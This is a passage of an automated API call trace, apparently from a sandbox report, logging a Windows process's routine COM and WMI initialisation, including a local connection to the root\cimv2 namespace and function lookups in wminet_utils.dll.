[5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x564e9ac | out: ppvObject=0x564e9ac*=0x0) returned 0x80004002 [0078.031] WbemDefPath:IClassFactory:CreateInstance (in: This=0x52edc98, pUnkOuter=0x0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e9e4 | out: ppvObject=0x564e9e4*=0x52edca8) returned 0x0 [0078.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edca8, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e788 | out: ppvObject=0x564e788*=0x52edca8) returned 0x0 [0078.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edca8, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x564e744 | out: ppvObject=0x564e744*=0x0) returned 0x80004002 [0078.032] WbemDefPath:IUnknown:AddRef (This=0x52edca8) returned 0x3 [0078.032] CoGetContextToken (in: pToken=0x564e5d0 | out: pToken=0x564e5d0) returned 0x0 [0078.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edca8, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e5b8 | out: ppvObject=0x564e5b8*=0x88ccc0) returned 0x0 [0078.032] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x88ccc0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x564e5c0 | out: pCid=0x564e5c0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.032] WbemDefPath:IUnknown:Release (This=0x88ccc0) returned 0x3 [0078.032] CoGetContextToken (in: pToken=0x564e5c8 | out: pToken=0x564e5c8) returned 0x0 [0078.032] WbemDefPath:IUnknown:AddRef (This=0x52edca8) returned 0x4 [0078.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edca8, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e63c | out: ppvObject=0x564e63c*=0x0) returned 0x80004002 [0078.032] WbemDefPath:IUnknown:Release (This=0x52edca8) returned 0x3 [0078.032] WbemDefPath:IUnknown:Release (This=0x52edca8) returned 0x2 [0078.033] WbemDefPath:IUnknown:Release (This=0x52edc98) returned 0x0 [0078.033] WbemDefPath:IUnknown:Release (This=0x52edca8) returned 0x1 [0078.033] SetEvent (hEvent=0x310) returned 1 [0078.033] GetLastError () returned 0x36b7 [0079.335] CoGetClassObject (in: rclsid=0x8b4e3c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x73b4a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x564eb7c | out: ppv=0x564eb7c*=0x52edc98) returned 0x0 [0079.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edc98, riid=0x73c37ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x564e9ac | out: ppvObject=0x564e9ac*=0x0) returned 0x80004002 [0079.336] WbemDefPath:IClassFactory:CreateInstance (in: This=0x52edc98, pUnkOuter=0x0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e9e4 | out: ppvObject=0x564e9e4*=0x52ee1b0) returned 0x0 [0079.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x52ee1b0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e788 | out: ppvObject=0x564e788*=0x52ee1b0) returned 0x0 [0079.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x52ee1b0, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x564e744 | out: ppvObject=0x564e744*=0x0) returned 0x80004002 [0079.336] WbemDefPath:IUnknown:AddRef (This=0x52ee1b0) returned 0x3 [0079.336] CoGetContextToken (in: pToken=0x564e5d0 | out: pToken=0x564e5d0) returned 0x0 [0079.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x52ee1b0, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e5b8 | out: ppvObject=0x564e5b8*=0x8c4fc0) returned 0x0 [0079.337] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8c4fc0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x564e5c0 | out: pCid=0x564e5c0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.337] WbemDefPath:IUnknown:Release (This=0x8c4fc0) returned 0x3 [0079.337] CoGetContextToken (in: pToken=0x564e5c8 | out: pToken=0x564e5c8) returned 0x0 [0079.337] WbemDefPath:IUnknown:AddRef (This=0x52ee1b0) returned 0x4 [0079.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x52ee1b0, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e63c | out: ppvObject=0x564e63c*=0x0) returned 0x80004002 [0079.337] WbemDefPath:IUnknown:Release (This=0x52ee1b0) returned 0x3 [0079.337] WbemDefPath:IUnknown:Release (This=0x52ee1b0) returned 0x2 [0079.337] WbemDefPath:IUnknown:Release (This=0x52edc98) returned 0x0 [0079.337] WbemDefPath:IUnknown:Release (This=0x52ee1b0) returned 0x1 [0079.337] SetEvent (hEvent=0x31c) returned 1 [0079.338] GetLastError () returned 0x36b7 Thread: id = 132 os_tid = 0xb18 [0077.518] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0077.522] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x58cf430 | out: lpiid=0x58cf430) returned 0x0 [0077.522] CoGetClassObject (in: rclsid=0x8b506c*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x73b4a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x58cf398 | out: ppv=0x58cf398*=0x52edc40) returned 0x0 [0077.523] WbemLocator:IUnknown:QueryInterface (in: This=0x52edc40, riid=0x73c37ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x58cf1c8 | out: ppvObject=0x58cf1c8*=0x0) returned 0x80004002 [0077.523] WbemLocator:IClassFactory:CreateInstance (in: This=0x52edc40, pUnkOuter=0x0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58cf200 | out: ppvObject=0x58cf200*=0x52f0fd8) returned 0x0 [0077.523] WbemLocator:IUnknown:QueryInterface (in: This=0x52f0fd8, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58cefa4 | out: ppvObject=0x58cefa4*=0x52f0fd8) returned 0x0 [0077.523] WbemLocator:IUnknown:QueryInterface (in: This=0x52f0fd8, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x58cef60 | out: ppvObject=0x58cef60*=0x0) returned 0x80004002 [0077.523] WbemLocator:IUnknown:AddRef (This=0x52f0fd8) returned 0x3 [0077.523] CoGetContextToken (in: pToken=0x58cedec | out: pToken=0x58cedec) returned 0x0 [0077.523] WbemLocator:IUnknown:QueryInterface (in: This=0x52f0fd8, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58cedd4 | out: ppvObject=0x58cedd4*=0x0) returned 0x80004002 [0077.524] CoGetContextToken (in: pToken=0x58cede4 | out: pToken=0x58cede4) returned 0x0 [0077.524] WbemLocator:IUnknown:AddRef (This=0x52f0fd8) returned 0x4 [0077.524] WbemLocator:IUnknown:QueryInterface (in: This=0x52f0fd8, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58cee58 | out: ppvObject=0x58cee58*=0x0) returned 0x80004002 [0077.524] WbemLocator:IUnknown:Release (This=0x52f0fd8) returned 0x3 [0077.524] WbemLocator:IUnknown:Release (This=0x52f0fd8) returned 0x2 [0077.524] WbemLocator:IUnknown:Release (This=0x52edc40) returned 0x0 [0077.524] WbemLocator:IUnknown:Release (This=0x52f0fd8) returned 0x1 [0077.525] CoGetContextToken (in: pToken=0x58cf2f0 | out: pToken=0x58cf2f0) returned 0x0 [0077.526] CoGetContextToken (in: pToken=0x58cf2b0 | out: pToken=0x58cf2b0) returned 0x0 [0077.526] WbemLocator:IUnknown:AddRef (This=0x52f0fd8) returned 0x2 [0077.526] WbemLocator:IUnknown:QueryInterface (in: This=0x52f0fd8, riid=0x58cf32c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x58cf328 | out: ppvObject=0x58cf328*=0x52f0fd8) returned 0x0 [0077.526] WbemLocator:IUnknown:Release (This=0x52f0fd8) returned 0x2 [0077.526] WbemLocator:IUnknown:Release (This=0x52f0fd8) returned 0x1 [0077.537] CoGetContextToken (in: pToken=0x58cf36c | out: pToken=0x58cf36c) returned 0x0 [0077.537] CoGetContextToken (in: pToken=0x58cf32c | out: pToken=0x58cf32c) returned 0x0 [0077.537] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x2 [0077.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x58cf3a8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x58cf3a4 | out: ppvObject=0x58cf3a4*=0x52edaa8) returned 0x0 [0077.537] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0077.537] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0077.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52edaa8, puCount=0x58cf520 | out: puCount=0x58cf520*=0x2) returned 0x0 [0077.537] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0077.538] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=8, puBuffLength=0x58cf51c*=0x0, pszText=0x0 | out: puBuffLength=0x58cf51c*=0xf, pszText=0x0) returned 0x0 [0077.538] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=8, puBuffLength=0x58cf51c*=0xf, pszText="00000000000000" | out: puBuffLength=0x58cf51c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x58ce6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0077.545] GetLastError () returned 0x0 [0077.547] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\\\wminet_utils.dll") returned 0x6a310000 [0077.647] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944 [0077.783] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986 [0077.786] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc [0077.789] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e [0077.809] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyHandle") returned 0x6a311a70 [0077.812] GetProcAddress (hModule=0x6a310000, lpProcName="WritePropertyValue") returned 0x6a311a89 [0077.815] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0077.818] GetProcAddress (hModule=0x6a310000, lpProcName="VerifyClientKey") returned 0x6a312270 [0077.821] GetProcAddress (hModule=0x6a310000, lpProcName="GetQualifierSet") returned 0x6a311d73 [0077.824] GetProcAddress (hModule=0x6a310000, lpProcName="Get") returned 0x6a311b96 [0077.830] GetProcAddress (hModule=0x6a310000, lpProcName="Put") returned 0x6a311b7a [0077.833] GetProcAddress (hModule=0x6a310000, lpProcName="Delete") returned 0x6a311bb5 [0077.836] GetProcAddress (hModule=0x6a310000, lpProcName="GetNames") returned 0x6a311bc8 [0077.884] GetProcAddress (hModule=0x6a310000, lpProcName="BeginEnumeration") returned 0x6a311be4 [0077.887] GetProcAddress (hModule=0x6a310000, lpProcName="Next") returned 0x6a311bf7 [0077.890] GetProcAddress (hModule=0x6a310000, lpProcName="EndEnumeration") returned 0x6a311c16 [0077.893] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyQualifierSet") returned 0x6a311c26 [0077.895] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0077.896] GetProcAddress (hModule=0x6a310000, lpProcName="GetObjectText") returned 0x6a311c3c [0077.899] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnDerivedClass") returned 0x6a311c52 [0077.902] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnInstance") returned 0x6a311c68 [0077.906] GetProcAddress (hModule=0x6a310000, lpProcName="CompareTo") returned 0x6a311c7e [0077.909] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyOrigin") returned 0x6a311c94 [0077.912] GetProcAddress (hModule=0x6a310000, lpProcName="InheritsFrom") returned 0x6a311caa [0077.915] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethod") returned 0x6a311cbd [0077.918] GetProcAddress (hModule=0x6a310000, lpProcName="PutMethod") returned 0x6a311cd9 [0077.922] GetProcAddress (hModule=0x6a310000, lpProcName="DeleteMethod") returned 0x6a311cf5 [0077.924] GetProcAddress (hModule=0x6a310000, lpProcName="BeginMethodEnumeration") returned 0x6a311d08 [0077.927] GetProcAddress (hModule=0x6a310000, lpProcName="NextMethod") returned 0x6a311d1b [0077.930] GetProcAddress (hModule=0x6a310000, lpProcName="EndMethodEnumeration") returned 0x6a311d37 [0077.933] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodQualifierSet") returned 0x6a311d47 [0077.936] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodOrigin") returned 0x6a311d5d [0077.938] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Get") returned 0x6a311d86 [0077.942] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Put") returned 0x6a311da2 [0077.945] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Delete") returned 0x6a311dbb [0077.946] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_GetNames") returned 0x6a311dce [0077.948] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a311de4 [0077.949] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Next") returned 0x6a311df7 [0077.952] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a311e13 [0077.954] GetProcAddress (hModule=0x6a310000, lpProcName="GetCurrentApartmentType") returned 0x6a311d73 [0077.955] GetProcAddress (hModule=0x6a310000, lpProcName="GetDemultiplexedStub") returned 0x6a3118fd [0077.957] GetProcAddress (hModule=0x6a310000, lpProcName="CreateInstanceEnumWmi") returned 0x6a311580 [0077.959] GetProcAddress (hModule=0x6a310000, lpProcName="CreateClassEnumWmi") returned 0x6a3115f6 [0077.960] GetProcAddress (hModule=0x6a310000, lpProcName="ExecQueryWmi") returned 0x6a31169e [0077.961] GetProcAddress (hModule=0x6a310000, lpProcName="ExecNotificationQueryWmi") returned 0x6a311717 [0077.963] GetProcAddress (hModule=0x6a310000, lpProcName="PutInstanceWmi") returned 0x6a311790 [0077.964] GetProcAddress (hModule=0x6a310000, lpProcName="PutClassWmi") returned 0x6a311810 [0077.965] GetProcAddress (hModule=0x6a310000, lpProcName="CloneEnumWbemClassObject") returned 0x6a311890 [0077.966] GetProcAddress (hModule=0x6a310000, lpProcName="ConnectServerWmi") returned 0x6a3124b7 [0077.967] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x58ceff8 | out: ppv=0x58ceff8*=0x52edc58) returned 0x0 [0077.967] WbemLocator:IWbemLocator:ConnectServer (in: This=0x52edc58, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x58cf044 | out: ppNamespace=0x58cf044*=0x52edd7c) returned 0x0 [0077.979] WbemLocator:IUnknown:QueryInterface (in: This=0x52edd7c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58cef14 | out: ppvObject=0x58cef14*=0x8bcfec) returned 0x0 [0077.980] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8bcfec, pProxy=0x52edd7c, pAuthnSvc=0x58cef5c, pAuthzSvc=0x58cef58, pServerPrincName=0x58cef68, pAuthnLevel=0x58cef60, pImpLevel=0x58cef4c, pAuthInfo=0x58cef50, pCapabilites=0x58cef54 | out: pAuthnSvc=0x58cef5c*=0xa, pAuthzSvc=0x58cef58*=0x0, pServerPrincName=0x58cef68, pAuthnLevel=0x58cef60*=0x6, pImpLevel=0x58cef4c*=0x2, pAuthInfo=0x58cef50, pCapabilites=0x58cef54*=0x1) returned 0x0 [0077.980] WbemLocator:IUnknown:Release (This=0x8bcfec) returned 0x1 [0077.980] WbemLocator:IUnknown:QueryInterface (in: This=0x52edd7c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58cef08 | out: ppvObject=0x58cef08*=0x8bd00c) returned 0x0 [0077.980] WbemLocator:IUnknown:QueryInterface (in: This=0x52edd7c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58cef04 | out: ppvObject=0x58cef04*=0x8bcfec) returned 0x0 [0077.980] WbemLocator:IClientSecurity:SetBlanket (This=0x8bcfec, pProxy=0x52edd7c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0077.980] WbemLocator:IUnknown:Release (This=0x8bcfec) returned 0x2 [0077.980] WbemLocator:IUnknown:Release (This=0x8bd00c) returned 0x1 [0077.980] CoTaskMemFree (pv=0x88ec80) [0077.980] WbemLocator:IUnknown:Release (This=0x52edc58) returned 0x0 [0077.980] WbemLocator:IUnknown:QueryInterface (in: This=0x52edd7c, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58ce8c4 | out: ppvObject=0x58ce8c4*=0x8bd00c) returned 0x0 [0077.980] WbemLocator:IUnknown:QueryInterface (in: This=0x8bd00c, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x58ce880 | out: ppvObject=0x58ce880*=0x0) returned 0x80004002 [0077.981] WbemLocator:IUnknown:QueryInterface (in: This=0x8bd00c, riid=0x73b10b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x58ce774 | out: ppvObject=0x58ce774*=0x0) returned 0x80004002 [0077.981] WbemLocator:IUnknown:AddRef (This=0x8bd00c) returned 0x3 [0077.981] CoGetContextToken (in: pToken=0x58ce70c | out: pToken=0x58ce70c) returned 0x0 [0077.981] WbemLocator:IUnknown:QueryInterface (in: This=0x8bd00c, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58ce6f4 | out: ppvObject=0x58ce6f4*=0x8bcf6c) returned 0x0 [0077.981] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x8bcf6c, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x58ce6fc | out: pCid=0x58ce6fc*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.981] WbemLocator:IUnknown:Release (This=0x8bcf6c) returned 0x3 [0077.982] CoGetContextToken (in: pToken=0x58ce704 | out: pToken=0x58ce704) returned 0x0 [0077.982] WbemLocator:IUnknown:AddRef (This=0x8bd00c) returned 0x4 [0077.982] WbemLocator:IUnknown:QueryInterface (in: This=0x8bd00c, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x58ce778 | out: ppvObject=0x58ce778*=0x8bcff4) returned 0x0 [0077.983] WbemLocator:IUnknown:Release (This=0x8bd00c) returned 0x4 [0077.983] WbemLocator:IRpcOptions:Query (in: This=0x8bcff4, pPrx=0x8bd00c, dwProperty=2, pdwValue=0x58ce79c | out: pdwValue=0x58ce79c) returned 0x80004002 [0077.983] WbemLocator:IUnknown:Release (This=0x8bcff4) returned 0x3 [0077.983] WbemLocator:IUnknown:Release (This=0x8bd00c) returned 0x2 [0077.983] CoGetContextToken (in: pToken=0x58ceb78 | out: pToken=0x58ceb78) returned 0x0 [0077.983] CoGetContextToken (in: pToken=0x58ceb38 | out: pToken=0x58ceb38) returned 0x0 [0077.983] WbemLocator:IUnknown:AddRef (This=0x8bd00c) returned 0x3 [0077.983] WbemLocator:IUnknown:QueryInterface (in: This=0x8bd00c, riid=0x58cebb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x58cebb0 | out: ppvObject=0x58cebb0*=0x52edd7c) returned 0x0 [0077.983] WbemLocator:IUnknown:Release (This=0x8bd00c) returned 0x3 [0077.983] WbemLocator:IUnknown:Release (This=0x52edd7c) returned 0x2 [0077.983] WbemLocator:IUnknown:Release (This=0x52edd7c) returned 0x1 [0077.984] CoUninitialize () Thread: id = 133 os_tid = 0xb1c Thread: id = 134 os_tid = 0xb20 [0077.995] CoGetContextToken (in: pToken=0x54cf6dc | out: pToken=0x54cf6dc) returned 0x0 [0077.995] CoGetContextToken (in: pToken=0x54cf6cc | out: pToken=0x54cf6cc) returned 0x0 [0077.995] CoGetMarshalSizeMax (in: pulSize=0x54cf698, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8bd00c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x54cf698) returned 0x0 [0077.995] CoMarshalInterface (pStm=0x8b5270, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8bd00c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 142 os_tid = 0x76c [0094.786] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0094.830] CoUninitialize () Thread: id = 143 os_tid = 0x468 [0094.795] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0094.867] CoUninitialize () Thread: id = 144 os_tid = 0x240 [0094.864] CoGetContextToken (in: pToken=0x5aefae0 | out: pToken=0x5aefae0) returned 0x0 [0094.864] IUnknown:QueryInterface (in: This=0x859828, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5aefb14 | out: ppvObject=0x5aefb14*=0x859834) returned 0x0 [0094.864] IComThreadingInfo:GetCurrentThreadType (in: This=0x859834, pThreadType=0x5aefb48 | out: pThreadType=0x5aefb48*=0) returned 0x0 [0094.864] IUnknown:Release (This=0x859834) returned 0x1 [0094.864] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 145 os_tid = 0x78c [0095.929] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 